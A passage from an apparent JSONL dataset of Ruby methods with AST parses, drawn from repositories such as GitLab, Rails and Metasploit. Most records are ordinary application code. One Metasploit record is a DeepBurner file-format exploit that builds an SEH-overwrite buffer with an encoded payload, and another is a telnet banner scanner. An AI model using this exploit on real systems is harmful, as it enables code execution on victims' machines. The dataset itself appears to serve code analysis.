\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parts\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"==\",{\"type\":\"str\",\"children\":[\"ascend\"]}]},{\"type\":\"str\",\"children\":[\"ASC\"]},{\"type\":\"str\",\"children\":[\"DESC\"]}]}]}]}]}]}]}]}]}]}]}]}","id":"9745bc95-e1f8-4fae-bea0-385739396e08"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/import_csv_service.rb","start_line":47,"raw_source":"def attributes_for(row)\n super.merge({ work_item_type: match_work_item_type(csv_work_item_type_symbol(row)) })\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"attributes_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"work_item_type\"]},{\"type\":\"send\",\"children\":[null,\"match_work_item_type\",{\"type\":\"send\",\"children\":[null,\"csv_work_item_type_symbol\",{\"type\":\"lvar\",\"children\":[\"row\"]}]}]}]}]}]}]}","id":"476f0b2b-17f4-4048-b7c7-aea6d4834968"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/deepburner_path.rb","start_line":66,"raw_source":"def exploit\n template = <<~EOS\n <DeepBurner_record ver=\"1.9.0.228\" type=\"data\">\n <data_cd ver=\"1\" device=\"\" session2import=\"0\" finalize_disc=\"0\" finalize_track=\"1\" bootable=\"0\" boot_image_path=\"\">\n <dir name=\"CDRoot\" imp=\"0\">\n <file name=\"map_fear_drives.bat\" path=\"REPLACE_ME\" imp=\"0\" />\n </dir>\n </data_cd>\n <cd_label ver=\"1\" zoom=\"0\" view=\"label\" layout=\"standart\">\n <label />\n <front />\n <back />\n </cd_label>\n <autorun ver=\"1\" use=\"0\">\n <main name=\"MainForm\" image_path=\"\" hint=\"\" />\n <title name=\"Title\" text=\"Title\" hint=\"Title box\" left=\"144\" top=\"48\" width=\"57\" height=\"33\" fontname=\"Times New Roman\" fontsize=\"20\" fontcolor=\"255\" visible=\"1\" fontstyle=\"0\" />\n <comment name=\"Comments\" text=\"Comment\" hint=\"Comment box\" left=\"40\" top=\"76\" width=\"89\" height=\"29\" fontname=\"Times New Roman\" fontsize=\"15\" fontcolor=\"255\" visible=\"1\" fontstyle=\"0\" />\n <exitbutton name=\"ButtonExit\" image_path=\"\" image_down_path=\"\" text=\"Exit\" hint=\"Exit this program\" left=\"120\" top=\"96\" width=\"75\" height=\"25\" fontname=\"MS Sans Serif\" fontsize=\"8\" fontcolor=\"255\" visible=\"1\" fontstyle=\"0\" />\n </autorun>\n </DeepBurner_record>\n EOS\n\n seh_offset = 272\n path = make_nops(seh_offset)\n path << generate_seh_record(target.ret)\n path << payload.encoded\n path << rand_text_alphanumeric(1000) * 20\n path = xml_encode(path)\n\n sploit = template.gsub(/REPLACE_ME/, path)\n\n print_status(\"Creating '#{datastore['FILENAME']}' file ...\")\n\n file_create(sploit)\n end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<DeepBurner_record ver=\\\"1.9.0.228\\\" type=\\\"data\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<data_cd ver=\\\"1\\\" device=\\\"\\\" session2import=\\\"0\\\" finalize_disc=\\\"0\\\" finalize_track=\\\"1\\\" bootable=\\\"0\\\" boot_image_path=\\\"\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<dir name=\\\"CDRoot\\\" imp=\\\"0\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<file name=\\\"map_fear_drives.bat\\\" path=\\\"REPLACE_ME\\\" imp=\\\"0\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</dir>\\n\"]},{\"type\":\"str\",\"children\":[\"</data_cd>\\n\"]},{\"type\":\"str\",\"children\":[\"<cd_label ver=\\\"1\\\" zoom=\\\"0\\\" view=\\\"label\\\" layout=\\\"standart\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<label />\\n\"]},{\"type\":\"str\",\"children\":[\"<front />\\n\"]},{\"type\":\"str\",\"children\":[\"<back />\\n\"]},{\"type\":\"str\",\"children\":[\"</cd_label>\\n\"]},{\"type\":\"str\",\"children\":[\"<autorun ver=\\\"1\\\" use=\\\"0\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"<main name=\\\"MainForm\\\" image_path=\\\"\\\" hint=\\\"\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<title name=\\\"Title\\\" text=\\\"Title\\\" hint=\\\"Title box\\\" left=\\\"144\\\" top=\\\"48\\\" width=\\\"57\\\" height=\\\"33\\\" fontname=\\\"Times New Roman\\\" fontsize=\\\"20\\\" fontcolor=\\\"255\\\" visible=\\\"1\\\" fontstyle=\\\"0\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<comment name=\\\"Comments\\\" text=\\\"Comment\\\" hint=\\\"Comment box\\\" left=\\\"40\\\" top=\\\"76\\\" width=\\\"89\\\" height=\\\"29\\\" fontname=\\\"Times New Roman\\\" fontsize=\\\"15\\\" fontcolor=\\\"255\\\" visible=\\\"1\\\" fontstyle=\\\"0\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"<exitbutton name=\\\"ButtonExit\\\" image_path=\\\"\\\" image_down_path=\\\"\\\" text=\\\"Exit\\\" hint=\\\"Exit this program\\\" left=\\\"120\\\" top=\\\"96\\\" width=\\\"75\\\" height=\\\"25\\\" fontname=\\\"MS Sans Serif\\\" fontsize=\\\"8\\\" fontcolor=\\\"255\\\" visible=\\\"1\\\" fontstyle=\\\"0\\\" />\\n\"]},{\"type\":\"str\",\"children\":[\"</autorun>\\n\"]},{\"type\":\"str\",\"children\":[\"</DeepBurner_record>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seh_offset\",{\"type\":\"int\",\"children\":[272]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"lvar\",\"children\":[\"seh_offset\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"generate_seh_record\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[1000]}]},\"*\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"lvasgn\",\"children\":[\"path\",{\"type\":\"send\",\"children\":[null,\"xml_encode\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sploit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"template\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"REPLACE_ME\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Creating '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]}]},{\"type\":\"str\",\"children\":[\"' file ...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"file_create\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]}]}]}","id":"1b067989-2053-41ba-b02f-3426c3bdf434"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/chain/command.rb","start_line":61,"raw_source":"def origin_sha\n checkout_sha || after_sha\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"origin_sha\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"checkout_sha\"]},{\"type\":\"send\",\"children\":[null,\"after_sha\"]}]}]}","id":"34dc62ab-b092-45f3-8280-836736b9761a"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_runner_upgrader.rb","start_line":118,"raw_source":"def copy_file_if_needed!(filename: nil, dry_run: false)\n needs_update = file_needs_update?(filename: filename)\n UI.verbose(\"file #{filename} needs an update\") if needs_update\n\n # Ok, we know if this file needs an update, can return now if it's a dry run\n return needs_update if dry_run\n\n unless needs_update\n # no work needed, just return\n return false\n end\n\n source = File.join(self.source_swift_code_file_folder_path, \"/#{filename}\")\n target = File.join(self.target_swift_code_file_folder_path, \"/#{filename}\")\n\n FileUtils.cp(source, target)\n UI.verbose(\"Copied #{source} to #{target}\")\n return true\n end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_file_if_needed!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"filename\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"dry_run\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"needs_update\",{\"type\":\"send\",\"children\":[null,\"file_needs_update?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"needs_update\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"file \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]},{\"type\":\"str\",\"children\":[\" needs an update\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"dry_run\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"needs_update\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"needs_update\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"source\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"source_swift_code_file_folder_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"target_swift_code_file_folder_path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileUtils\"]},\"cp\",{\"type\":\"lvar\",\"children\":[\"source\"]},{\"type\":\"lvar\",\"children\":[\"target\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Copied \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source\"]}]},{\"type\":\"str\",\"children\":[\" to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"target\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"772f170a-dbd1-4626-9bca-1dd7f641f422"} {"repo_name":"manageiq","file_path":"./repos/manageiq/tools/fix_auth/models.rb","start_line":128,"raw_source":"def load\n @yml = File.read(id)\n self\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"load\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@yml\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"send\",\"children\":[null,\"id\"]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"3846abb2-c116-4067-8387-86011470fa87"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/telnet/telnet_version.rb","start_line":32,"raw_source":"def run_host(ip)\n begin\n ::Timeout.timeout(to) do\n res = connect\n # This makes db_services look a lot nicer.\n banner_santized = Rex::Text.to_hex_ascii(banner.to_s)\n print_good(\"#{ip}:#{rport} TELNET #{banner_santized}\")\n report_service(:host => rhost, :port => rport, :name => \"telnet\", :info => banner_santized)\n end\n rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e\n print_error(\"A network issue has occurred: #{e.message}\")\n elog(\"A network issue has occurred\", error: e)\n rescue Timeout::Error => e\n print_error(\"#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.\")\n elog(\"#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.\", error: e)\n rescue ::Exception => e\n print_error(\"#{e} #{e.backtrace}\")\n elog(e)\n end\n end","complexity_score":40.3,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[null,\"to\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]},{\"type\":\"lvasgn\",\"children\":[\"banner_santized\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_hex_ascii\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\" TELNET \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner_santized\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_service\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"telnet\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"info\"]},{\"type\":\"lvar\",\"children\":[\"banner_santized\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Errno\"]},\"ECONNRESET\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"A network issue has occurred: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"str\",\"children\":[\"A network issue has occurred\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"Error\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\", Server timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to\"]}]},{\"type\":\"str\",\"children\":[\" seconds. Skipping.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]},{\"type\":\"str\",\"children\":[\", Server timed out after \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"to\"]}]},{\"type\":\"str\",\"children\":[\" seconds. Skipping.\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"backtrace\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"elog\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}]}","id":"caad2351-774b-46bf-b0be-a4dcd5fec6d3"} {"repo_name":"fluentd","file_path":"./repos/fluentd/test/test_time_formatter.rb","start_line":133,"raw_source":"def test_specific_utc_timezone_3\n # America/Argentina/Buenos_Aires (-03:00) does not have daylight saving time.\n assert_equal(\"20140926 2100-0300\", format(@fmt, false, \"America/Argentina/Buenos_Aires\"))\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_specific_utc_timezone_3\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"20140926 2100-0300\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"ivar\",\"children\":[\"@fmt\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"America/Argentina/Buenos_Aires\"]}]}]}]}","id":"7f225a67-9d22-4d76-a076-df15a4524886"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/generators/database.rb","start_line":72,"raw_source":"def build(database_name)\n case database_name\n when \"mysql\" then MySQL2.new\n when \"postgresql\" then PostgreSQL.new\n when \"trilogy\" then Trilogy.new\n when \"sqlite3\" then SQLite3.new\n when \"mariadb-mysql\" then MariaDBMySQL2.new\n when \"mariadb-trilogy\" then MariaDBTrilogy.new\n else Null.new\n end\n end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"database_name\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"database_name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mysql\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MySQL2\"]},\"new\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"postgresql\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PostgreSQL\"]},\"new\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"trilogy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Trilogy\"]},\"new\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"sqlite3\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SQLite3\"]},\"new\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mariadb-mysql\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MariaDBMySQL2\"]},\"new\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"mariadb-trilogy\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MariaDBTrilogy\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Null\"]},\"new\"]}]}]}","id":"2da17994-3b67-464e-bf18-3c502e675a57"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/projects_helper.rb","start_line":231,"raw_source":"def last_push_event\n current_user&.recent_push(@project)\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"last_push_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"recent_push\",{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}","id":"e81f6f79-e0e3-4ebf-b22c-181e60cc78ee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/unnested_in_filters/rewriter.rb","start_line":107,"raw_source":"def covers?\n filter_attributes_covered? &&\n unused_columns_at_end_of_index? &&\n can_be_used_for_sorting?\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"covers?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"filter_attributes_covered?\"]},{\"type\":\"send\",\"children\":[null,\"unused_columns_at_end_of_index?\"]}]},{\"type\":\"send\",\"children\":[null,\"can_be_used_for_sorting?\"]}]}]}","id":"7140e9ef-ca87-411d-9308-4a78aee61638"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/container/purging.rb","start_line":15,"raw_source":"def purge_scope(older_than)\n where(arel_table[:deleted_on].lteq(older_than))\n end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"purge_scope\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"older_than\"]}]},{\"type\":\"send\",\"children\":[null,\"where\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"arel_table\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"deleted_on\"]}]},\"lteq\",{\"type\":\"lvar\",\"children\":[\"older_than\"]}]}]}]}","id":"d4e269c5-681d-42d1-8192-242a3e93770c"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme_modifier_set.rb","start_line":78,"raw_source":"def add_theme_setting_modifier(modifier_name, setting_name)\n self.theme_setting_modifiers ||= {}\n self.theme_setting_modifiers[modifier_name] = setting_name\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_theme_setting_modifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modifier_name\"]},{\"type\":\"arg\",\"children\":[\"setting_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme_setting_modifiers\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"theme_setting_modifiers\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"modifier_name\"]},{\"type\":\"lvar\",\"children\":[\"setting_name\"]}]}]}]}","id":"8b4cc1f0-856d-497e-a261-69052f49e7a6"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/arel/visitors/to_sql.rb","start_line":475,"raw_source":"def visit_Arel_Nodes_Matches(o, collector)\n collector = visit o.left, collector\n collector << \" LIKE \"\n collector = visit o.right, collector\n if o.escape\n collector << \" ESCAPE \"\n visit o.escape, collector\n else\n collector\n end\n end","complexity_score":13.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_Arel_Nodes_Matches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"o\"]},{\"type\":\"arg\",\"children\":[\"collector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"left\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" LIKE \"]}]},{\"type\":\"lvasgn\",\"children\":[\"collector\",{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"right\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"escape\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"collector\"]},\"<<\",{\"type\":\"str\",\"children\":[\" ESCAPE \"]}]},{\"type\":\"send\",\"children\":[null,\"visit\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"o\"]},\"escape\"]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]},{\"type\":\"lvar\",\"children\":[\"collector\"]}]}]}]}","id":"7b1ad189-7f6f-4aa7-93ff-63a9e6d7a268"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/badge/custom/template.rb","start_line":57,"raw_source":"def parse_color(input_color, default_color)\n color = input_color.to_s.downcase.strip.delete_prefix('#')\n\n if color.present? && color.size <= MAX_COLOR_LENGTH\n return \"##{color}\" if Regexp.union(HEX_COLOR_3_REGEX, HEX_COLOR_6_REGEX).match?(color)\n return color if NAMED_COLOR_REGEX.match?(color)\n end\n\n default_color\n end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_color\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"input_color\"]},{\"type\":\"arg\",\"children\":[\"default_color\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"color\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input_color\"]},\"to_s\"]},\"downcase\"]},\"strip\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"#\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"color\"]},\"size\"]},\"<=\",{\"type\":\"const\",\"children\":[null,\"MAX_COLOR_LENGTH\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"union\",{\"type\":\"const\",\"children\":[null,\"HEX_COLOR_3_REGEX\"]},{\"type\":\"const\",\"children\":[null,\"HEX_COLOR_6_REGEX\"]}]},\"match?\",{\"type\":\"lvar\"